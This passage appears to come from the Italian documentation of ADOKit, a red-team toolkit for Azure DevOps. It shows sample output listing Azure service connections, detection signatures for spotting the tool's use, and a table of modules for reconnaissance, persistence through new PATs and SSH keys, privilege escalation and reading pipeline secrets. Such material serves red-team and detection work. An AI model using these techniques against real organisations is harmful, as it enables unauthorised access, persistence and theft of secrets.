[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Di seguito sono riportate le firme statiche per l'utilizzo specifico di questo strumento nel suo stato predefinito:
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
ADOKit-21e233d4334f9703d1a3a42b6e2efd38
ADOKitUsage.json - Rileva l'utilizzo di ADOKit con qualsiasi evento controllabile (ad esempio, aggiunta di un utente a un gruppo)PersistenceTechniqueWithADOKit.json - Rileva la creazione di una chiave PAT o SSH con ADOKitPer una guida al rilevamento delle tecniche utilizzate dallo strumento, consulta il whitepaper di X-Force Red.
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops| Scenario di attacco | Modulo | Permessi speciali? | Note |
|---|
| Ricognizione | check | No | |
| Ricognizione | whoami | No | |
| Ricognizione | listorgs | No | |
| Ricognizione | listrepo | No | |
| Ricognizione | searchrepo | No | |
| Ricognizione | listproject | No | |
| Ricognizione | searchproject | No | |
| Ricognizione | searchcode | No | |
| Ricognizione | searchfile | No | |
| Ricognizione | listuser | No | |
| Ricognizione | searchuser | No | |
| Ricognizione | listteam | No | |
| Ricognizione | searchteam | No | |
| Ricognizione | getteammembers | No | |
| Ricognizione | listgroup | No | |
| Ricognizione | searchgroup | No | |
| Ricognizione | getgroupmembers | No | |
| Ricognizione | getpermissions | No | |
| Ricognizione | creds | No | |
| Ricognizione | getbuildlogs | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Ricognizione | listbuildlogs | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Ricognizione | searchbuildlogs | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Persistenza | createpat | No | |
| Persistenza | listpat | No | |
| Persistenza | removepat | No | |
| Persistenza | createsshkey | No | |
| Persistenza | listsshkey | No | |
| Persistenza | removesshkey | No | |
| Escalation dei privilegi | addprojectadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removeprojectadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addbuildadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removebuildadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionbuildadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionbuildadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionbuildsvc | Sì - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionbuildsvc | Sì - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionsvc | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionsvc | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | getpipelinevars | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Escalation dei privilegi | getpipelinesecrets | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Escalation dei privilegi | getvariablegroups | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Escalation dei privilegi | getserviceconnections | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts |